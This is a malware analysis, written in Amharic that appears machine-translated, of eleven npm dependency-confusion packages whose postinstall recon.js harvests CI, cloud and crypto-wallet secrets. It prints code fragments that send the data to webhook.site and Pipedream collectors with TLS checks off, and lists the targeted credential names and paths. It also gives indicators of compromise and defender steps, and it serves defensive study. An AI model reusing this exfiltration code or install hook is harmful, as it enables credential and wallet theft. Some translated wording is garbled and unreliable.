TL; DR
በ2026-06-17፣ አንድ ነጠላ የnpm መለያ ታትሟል አንድ ዓላማ እና አንድ የክፍያ ጭነት የሚጋሩ አስራ አንድ ፓኬጆችከእነዚህ ውስጥ አስርቱ cryptodao- ቅድመ ቅጥያ (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -typesአስራ አንደኛው የተለካው ነው @public-for-cdao/core. እያንዳንዱ እትም ላይ ታትሟል 99.99.99 እና ተመሳሳይ ባይት ይልካል recon.js የሚሰራው postinstall.
ስሞቹ የሚነገሩ ናቸው። ልክ እንደ ክሪፕቶ/DAO ፕሮጀክት የግል የመሳሪያ ሰንሰለት ውስጣዊ የግንባታ ብሎኮች ያነባሉ። በአርቴፊሻል ከፍተኛ ስሪት ለሕዝብ npm መዝገብ ቤት የታተሙ ሲሆን፣ ግንባታውን ይጠብቁ ነበር። pipeline እነዚያን ስሞች ለመፍታት የተዋቀረ እና ከግል መዝገብ ቤት በፊት - ወይም በምትኩ - ወደ public npm የሚደርስ። ይህ የጥገኝነት ግራ መጋባትእና የክፍያው ጭነት በትክክል የት እንደሚያርፍ ተስተካክሏል፡ CI/CD ሯጮች.
መቼ postinstall እሳቶች፣ recon.js የአስተናጋጅ ዝርዝሮችን ይሰበስባል፣ በግምት ይጠርጋል የአርባ ደመና፣ የCI እና የክሪፕቶ-ኪስ የአካባቢ ተለዋዋጮች, ማንኛውንም ያነባል .env ሚስጥራዊ የሆኑ መስመሮችን በቃል ማግኘት እና ማስተላለፍ የሚችልባቸውን ፋይሎች ከዚያም ጥቅሉን ወደ ሁለት ሰብሳቢዎች ያስተላልፋል - webhook.site እና የፓይፕድሪም የመጨረሻ ነጥብ — የTLS የምስክር ወረቀት ማረጋገጫ ተሰናክሏል። ቅጂው በሚከተለው መሠረት ተጽፏል /tmp.
ከባድነት ከፍ ያለየተጎዳ ሥነ-ምህዳር፡ ጥዋት. ሁሉም አስራ አንዱ ፓኬጆች በተጻፈበት ጊዜ በቀጥታ ስርጭት ላይ ነበሩ።
የአጥቃት አናቶሚ
ዘዴው አራት የሚንቀሳቀሱ ክፍሎች ያሉት ሲሆን፣ እርስዎ ካወቁት አንዳቸውም ስውር አይደሉም። ከጥቅሉ ስም ባሻገር አንድ ንብርብር ይመልከቱ።
1. የስሪት የዋጋ ግሽበት እንደ መፍትሄ ሰጪ ማባበያ። እያንዳንዱ ጥቅል ሥሪትን ያስታውቃል 99.99.99የጥገኝነት ግራ መጋባት የሚሠራው አንድ የጥቅል አስተዳዳሪ አንድ ጥያቄ ሲጠይቅ ነው። የውስጥ ስም፣ እንዲሁም የህዝብ መዝገብ ቤቱን ይፈትሻል እና ከፍተኛውን ስሪት ይመርጣል ግኝቶች። የ npm ነባሪ ምርጫ ለ caret ወይም wildcard ክልል ነው በእያንዳንዱ የተዋቀረ ምንጭ ላይ ከፍተኛ እርካታ ያለው ስሪት፤ ሁለቱም የግል ከሆኑ ለተመሳሳይ ስም የመዝገብ ቤት እና የህዝብ npm መልስ፣ ትልቁ የስሪት ቁጥር ያሸንፋል። A 99.99.99 በመሠረቱ አንድ ፕሮጀክት ሊኖረው ከሚችለው ከማንኛውም እውነተኛ ውስጣዊ ስሪት ይበልጣል። ደርሷል፣ ስለዚህ ከግል ምንጩ ጋር ያልተያያዘ መፍትሄ ይፋዊ - እና በዚህ ሁኔታ፣ ጠላት - ቅጂ። ኦፕሬተሩ ማወቅ አያስፈልገውም የዒላማው እውነተኛ የስሪት ቁጥሮች፤ የማይረባ ከፍተኛውን መምረጥ ሁልጊዜ እኩልነቱን ያረጋግጣል መንገዳቸውን ይሰብራል።
2. የድህረ-ጭነት ቀስቅሴ። package.json የክፍያ ጭነቱን ከመጫኛው ጋር ያስተላልፋል የሕይወት ዑደት:
{ "scripts": { "postinstall": "node recon.js" } } የጥቅሉን ማስመጣት አያስፈልግም። መጫን ብቻ ነው - ይህም CI ነው pipeline በራስ-ሰር ይሰራል - ይሰራል recon.js.
3. ሰፊ ሚስጥራዊ ማጭበርበር። recon.js የውጤት አደራደርን በደረጃዎች ያሰባስባል፡
- የአስተናጋጅ አውድ፡ የአስተናጋጅ ስም፣ መድረክ እና ልቀት፣ አርክቴክቸር፣ የተጠቃሚ ስም፣ ስራ ማውጫ.
- የአካባቢ ተለዋዋጮች፡- ወደ አርባ የሚጠጉ ስሞችንና መዝገቦችን የያዘ ቋሚ ዝርዝር ይደግማል ማንኛውም የተዋቀረ። ዝርዝሩ ግልጽ ነው - አጠቃላይ የCI ቶከኖችን ያጣምራል (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) እና ደመና ምስክርነቶች (AWS_ACCESS_ቁልፍ_መታወቂያ, AWS_SECRET_ACCESS_ቁልፍ, AWS_SESSION_TOKEN) ከመዝገብ እና ከኮንቴይነር ሚስጥሮች ጋር (NPM_TOKEN, DOCKER_PASSWORD, HARBOR_PASSWORD) እና በግልጽ በክሪፕቶ-ጣዕም ያለው ክላስተር፡ PRIVATE_KEY, ኤምኔሞኒክ, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCየተመዘገቡ እሴቶች ወደ የመጀመሪያዎቹ 50 ቁምፊዎች ተቆርጠዋል።
- .env ፋይሎች፡ የመንገዶችን ዝርዝር ይመረምራል — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, እና .ምርት/.ልማት ልዩነቶች - እና ለማንኛውም ፋይል፣ ይዘቱን ወደ መስመሮች ማዛመጃ ያጣራል ቁልፍ|ሚስጥር|ቶከን|ይለፍ|ግል|ኤምኔሞኒክ እና እነዚያን መስመሮች **ሙሉ በሙሉ፣ ያልተቆራረጡ** ወደ ውጤቶቹ ይገፋቸዋል።
- የግንባታ-አስተናጋጅ አውድ፡ የመጀመሪያዎቹን 20 ግቤቶች ይዘረዝራል /ግንባታዎች/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/, እና /tmp/.
የመንገድ ዝርዝሩ እና ተለዋዋጭ ዝርዝሩ በ GitLab ሯጮች ላይ ይመዝናሉ፣ ይህም የሚያመለክተው የክፍያው ጫና በገንቢ ሳይሆን በራስ-ሰር በሚስተናገደው የCI መሠረተ ልማት ላይ ሙሉ በሙሉ ይታያል። ላፕቶፕ። የመከር ዝርዝሩን በምድብ መመደብ የታሰበውን ማጓጓዣ ቀላል ያደርገዋል፡
| መደብ | ተለዋዋጮች / ዱካዎች ተደርሰዋል |
|---|---|
| CI/CD ማንነት እና ማሰማራት | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| ደመና | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| መዝገብ ቤት እና መያዣ | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| የውሂብ መደብሮች | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| ክሪፕቶ/ብሎክቼይን | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| መልዕክት አላላክ | SLACK_TOKEN, DISCORD_TOKEN |
| በዲስክ ላይ | .env ቤተሰብ + /home/gitlab-runner/.env, /root/.env, /app/**/.env; የማውጫ ዝርዝሮች /builds/, /var/lib/gitlab-runner/ |
ክሪፕቶ ክላስተር ይህንን ከአጠቃላይ የCI-secret የሚለየው ክፍል ነው መጥረግ፡ የኪስ ቦርሳ ዘር ሐረጎች እና የፊርማ ቁልፎች የሚታዩት በ የብሎክቼይን ፕሮጀክት፣ እና በቀጥታ ወደ ላይ ያስቀምጣሉ ክሪፕቶዳኦ-/ምልክት/ኮንትራቶች የአጓጓዦች ስም መስጠት።
4. ማረጋገጫ ተሰናክሎ ድርብ ማጣሪያ። የተሰበሰበው ድርድር ነው ተከታታይ የተደረገ እና ወደ ሁለት መዳረሻዎች የተለጠፈ፡
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) refuseUnauthorized: ሐሰት ወደ ውጭ ለሚላክ የTLS የምስክር ወረቀት ፍተሻዎችን ያጠፋል ጥሪዎች። ተመሳሳዩ መረጃ ወደ stdout ታትሟል (ስለዚህ በCI የስራ ምዝግብ ማስታወሻዎች ውስጥም ይቀመጣል) እና የተፃፈው ለ /tmp/.npm_recon_ .jsonስህተቶች በጸጥታ ይዋጣሉ፣ ስለዚህ አልተሳካም ላክ ከአንድ ነጠላ ጭነት በላይ በመጫኛ ውፅዓት ውስጥ ምንም ዱካ አይተውም [ሪኮን] ላይ ተጭኗል መስመር.
በፋይሉ ውስጥ አንድ መሪ አስተያየት “የጥገኝነት ግራ መጋባት” ሲል ይገልጸዋል የስለላ ክፍያ።" የአካባቢ እሴቶችን ወደ 50 ቁምፊዎች መቀነስ የፅንሰ-ሀሳብ ማረጋገጫ ቅርፅ። ከመገኘት-ብቻ የምልክት ምልክት በላይ የሚያልፈው ነገር .env አያያዝ፡ ሚስጥራዊ የሆኑ መስመሮች ሙሉ በሙሉ ይተላለፋሉ፣ እና መድረሻዎቹ ሁለት የሚሰሩ፣ በአጥቂ ቁጥጥር ስር ያሉ ሰብሳቢዎች ናቸው፤ የሚቆጠረው ብቻ የሆነ ማጠቢያ ሳይሆን ይመታል ፡፡
የጊዜ መስመር
የህትመት ንድፉ የአንድ ስክሪፕት ግፊት ፊርማ ነው፣ የአስራ አንድ አይደለም ገለልተኛ ሰቀላዎች።
| ሰዓት (UTC፣ 2026-06-17) | ድርጊት |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 የታተመ |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — የተቀረጸ ልዩነት፣ ~24 ደቂቃ በኋላ |
አስር ፓኬጆች በ29 ሰከንድ መስኮት ውስጥ ወጥተዋል፣ በግምት በየሶስት ሰከንድ አንድ። የተወሰደው @public-for-cdao/core ከ24 ደቂቃዎች በኋላ ተከተለው - ከአንድ ሰከንድ በኋላ ለተመሳሳይ ዓላማ የስምምነት ስምምነት፣ የፍጆታ ፕሮጀክቱን የሚያመለክት ከሆነ እንደ ባዶ ስሞች ሳይሆን እንደ ስኮፕ ስር ያለ ውስጣዊ የመሳሪያ ሰንሰለት።
የስምምነት አመልካቾች
| ዓይነት | አመልካች |
|---|---|
| ሰብሳቢ | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| ሰብሳቢ | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| መንጠቆውን ይጫኑ | postinstall: node recon.js |
| የተጣለ ፋይል | /tmp/.npm_recon_<timestamp>.json |
| የምዝግብ ማስታወሻ | [recon] <pkg>@<ver> installed on <hostname> (በCI ምዝግብ ማስታወሻዎች ውስጥ stdout) |
| የባህሪ | rejectUnauthorized: false በመጫን ጊዜ ወደ ውጭ በሚወጣ HTTPS ላይ |
| የክፍያ ጭነት | recon.js፣ በሁሉም አስራ አንድ ፓኬጆች ላይ ተመሳሳይ (አንድ የተጋራ ግንባታ) |
| ትርጉም | 99.99.99 በእያንዳንዱ ጥቅል ላይ |
| ጥቅሎች | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (ሁሉም 99.99.99) |
| አታሚ | aduljune / aduljune@proton.me (ኢሜይል አልተረጋገጠም፣ የተገናኘ የምንጭ ማከማቻ የለም) |
ባለቤትነት እና የታየ ባህሪ
ስለ ክላስተር ያለው ነገር ሁሉ ወደ አንድ እጅ ይጠቁማል። ሁሉም አስራ አንድ ፓኬጆች ታትመዋል በ npm መለያ አዱልጁን (aduljune@proton.me፣ ያልተረጋገጠ አድራሻ የሌለው የተገናኘ የምንጭ ማከማቻ)፣ በ25 ደቂቃ ውስጥ፣ በተመሳሳይ ጊዜ 99.99.99 ሥሪት ፣ መላኪያ ሀ recon.js ይዘቶቹ በእያንዳንዱ ባይት-ለ-ባይት ላይ ተመሳሳይ የሆኑ ጥቅል (MD5 በሁሉም አስራ አንድ የተወሰዱ ቅጂዎች ላይ ይዛመዳል)። ይህ አንድ የክፍያ ጭነት ነው። በስሞች ዝርዝር ላይ የታተመ እንጂ ገለልተኛ የኮድ መልሶ መጠቀም አይደለም።
የስም ዝርዝሩ የታሰበውን ኢላማ ይገልጻል። ክሪፕቶዳኦ-* ና cdao ይግለጹ የክሪፕቶ/DAO ፕሮጀክት የግል ሞጁል አቀማመጥ እና የክፍያ ጭነት የመከር ዝርዝር የሚገምቱ መስተዋቶች፡- ከአጠቃላይ የCI እና የደመና ምስጢሮች ጎን ለጎን፣ በተለይም ይደርሳል ለ PRIVATE_KEY, ኤምኔሞኒክ, SEED_PHRASEእና Ethereum/BSC RPC እና የአቅራቢ ቁልፎች። .env የፍለጋ ዱካዎች እና የማውጫ ዝርዝሮች GitLab-runner ናቸው ልዩ። የሚታየው ውጤት ማንኛውም pipeline እነዚህን ለመጫን ተታልለዋል ስሞች የCI ቶከኖቹን፣ የደመና ቁልፎቹን እና በዲስክ ላይ ያስተላልፋሉ .env ምስጢሮች - እና ለ የብሎክቼይን ፕሮጀክት፣ የኪስ ቦርሳው ቁሳቁስ - ለሁለት የሶስተኛ ወገን ሰብሳቢዎች።
አካውንቱን ማን እንደሚያስተዳድረው ወይም ምን ለማድረግ እንዳሰቡ ምንም አይነት ጥያቄ አንጠይቅም። ውሂብ። በራሳቸው የሚቆሙ እውነታዎች፡ ስሞቹ የተወሰነ ዓይነትን ያነጣጠሩ ናቸው ውስጣዊ የመሳሪያ ሰንሰለት፣ የክፍያ ጭነቱ እውነተኛ ሚስጥራዊ እሴቶችን ያነባል እና ያስተላልፋል፣ እና መሠረተ ልማት በቀጥታ ስርጭት ላይ ነበር።
ተጽዕኖ፣ አዝማሚያዎች እና የተሟጋች መመሪያ
የጥገኝነት ግራ መጋባት ውጤታማ ሆኖ የሚቆየው የመፍትሄ ባህሪን ስለሚጠቀም ነው፣ ነገር ግን በማንኛውም ጥቅል ውስጥ ያለው ተጋላጭነት። እዚህ ያለው አገልግሎት አቅራቢ ቀላል ነው - አስራ አንድ ያህል ባዶ ነው ፓኬጆች - ነገር ግን የፍንዳታው ራዲየስ ምንም ይሁን ምን pipeline በስህተት public npmን ይመርጣል ውስጣዊ ስም ለማግኘት። የሲአይ ሯጮች ለዚህ በጣም መጥፎው ቦታ ናቸው፡ እነሱ ይይዛሉ በትክክል ቶከኖች እና .env ይህ የክፍያ ጭነት ፋይሎች ያነባል፣ እና ይጭናሉ ጥገኝነቶች በይነተገናኝ ያልሆኑ ናቸው፣ ስለዚህ ድህረ-ጭነት ማንም ሳያይ ይሮጣል።
ይህ ክላስተር እኛ የምናየውን ንድፍም ይገጥማል፡- የመጫኛ ጊዜ የሚከፍሉ ጭነቶች እውነተኛ የምስክርነት ስብስብ ሲያደርጉ እንደ "ምርምር" ወይም "ስለላ"። መለያው በፋይሉ ውስጥ ያለው ኮድ በሯጭ ላይ የሚያደርገውን አይለውጥም። ሁለት የዲዛይን አማራጮች ይቀራሉ። እንቅስቃሴው ጸጥ ያለ ነው፡ እያንዳንዱ አውታረ መረብ እና የፋይል ስርዓት አሠራር በ ስህተቶችን የሚያስወግድ ልዩ ተቆጣጣሪ፣ ስለዚህ የታገደ ላክ ወይም የጎደለ ፋይል ምንም የምርመራ ውጤት አያስገኝም፣ እና የታተመው ብቸኛው ነገር አንድ ምንም ጉዳት የሌለው ነው [ዳግም መመለሻ] … ተጭኗል ከመደበኛ የመጫኛ ጫጫታ ጋር የሚዋሃድ መስመር። የ webhook.site እና Pipedream እንዲሁ ሆን ተብሎ የሚመች ምቾት ነው - ሁለቱም ነፃ ናቸው፣ ወዲያውኑ የጥያቄ-ቀረጻ አገልግሎቶችን አቅርቧል፣ ስለዚህ ኦፕሬተሩ ምንም አይነት አገልጋይ አያስፈልገውም የራሳቸው እና የመድረሻ ክፍሎቹ በኤጀንት ምዝግብ ማስታወሻዎች ውስጥ እንደ ተራ የSaaS አስተናጋጅ ስሞች ይመስላሉ።
ምንም እንኳን የተሟጋች ትኩረትን የሚስበው ኢኮኖሚክስ ነው። የአገልግሎት አቅራቢ ኮድ ቀላል ነው። አስራ አንድ ስሞችን መመዝገብ ምንም አያስከፍልም፣ የክፍያው ጭነት አንድ ነው ፋይሉ አስራ አንድ ጊዜ ተገልብጧል፣ እና የጥቅል አስተዳዳሪው ሁሉንም አፈፃፀሞች ያከናውናል። የተሳሳተ ውቅር pipeline ከእነዚህ ስሞች ውስጥ አንዱን የሚጠቀም ማንኛውም ቦታ ለጠቅላላው ይከፍላል ቀዶ ጥገና.
ለተከላካዮች ተጨባጭ እርምጃዎች፡
- ውስጣዊ ስኮፖችን ወደ የግል መዝገብዎ ይሰኩ። ውስጣዊ ስሞችን ለማግኘት npm ን ያዋቅሩ
እና ስኮፖች የሚፈቱት በእርስዎ መዝገብ ቤት (scoped.npmrc registry mappings) ላይ ብቻ ነው ወይም ለባለቤትነት ለተያዙ የስም ቦታዎች ወደ ይፋዊ npm የማይገባ ወኪል)። ሌላ ማንም ሰው እንዳይመዘግባቸው የህዝብ ወሰን ስሞችዎን ያስይዙ።
- Commit መቆለፊያ ፋይሎችን እና በ-ignore-scripts ይጫኑ በሲአይ ውስጥ የሚቻል ከሆነ፣ ወይም የመጫኛ ስክሪፕቶችን በእውነት የሚያስፈልጋቸውን ትናንሽ የጥገኛዎች ስብስብ ያጣሩ። recon.js ማስኬድ አይችልም ከሆነ ድህረ-ጭነት አይፈጸምም።
- ውስጣዊ የሚመስል ስም 99.99.99 (ወይም ሌላ እጅግ በጣም ከፍተኛ) ስሪት ይያዙ። እንደ ቀይ ባንዲራ በጥገኝነት ግምገማ እና በመዝገብ ክትትል ውስጥ።
- የመጫኛ ጊዜ ሲወጣ ማንቂያ። A ድህረ-ጭነት ወደ ውጭ የሚወጣ HTTPS የሚከፍት ግንኙነት - በተለይም የምስክር ወረቀት ማረጋገጫ ከተሰናከለ - ወደ webhook.site፣ Pipedream ወይም ተመሳሳይ የጥያቄ-ቀረጻ አገልግሎቶች በአውታረ መረቡ ጠርዝ ላይ ማገድ እና በግንባታ ምዝግብ ማስታወሻዎች ውስጥ መጠቆም ተገቢ ነው።
- ቅርሶችን ለማግኘት ያደንቁ። ሯጮችን ይፈትሹ /tmp/.npm_recon_*.json እና ለ [ዳግም] … በ... ላይ ተጭኗል በቅርብ ጊዜ በCI ምዝግብ ማስታወሻዎች ውስጥ። ከተገኘ፣ እያንዳንዱን ያሽከርክሩ ለዚያ የተጋለጠ የምስክር ወረቀት pipeline — የCI ቶከኖች፣ የደመና ቁልፎች፣ የመዝገብ ቶከኖች እና በአካባቢ ወይም በ.env ፋይሎች ውስጥ የሚገኙ ማናቸውም የኪስ ቦርሳ ዘሮች ወይም የግል ቁልፎች።
ማጣቀሻዎች
በዚህ ክላስተር ላይ ምንም አይነት የውጭ ዘገባ በተጻፈበት ጊዜ አልነበረም፤ ትንታኔው ከላይ የተጠቀሰው በቀጥታ በታተመው የጥቅል ይዘቶች ላይ የተመሠረተ ነው።




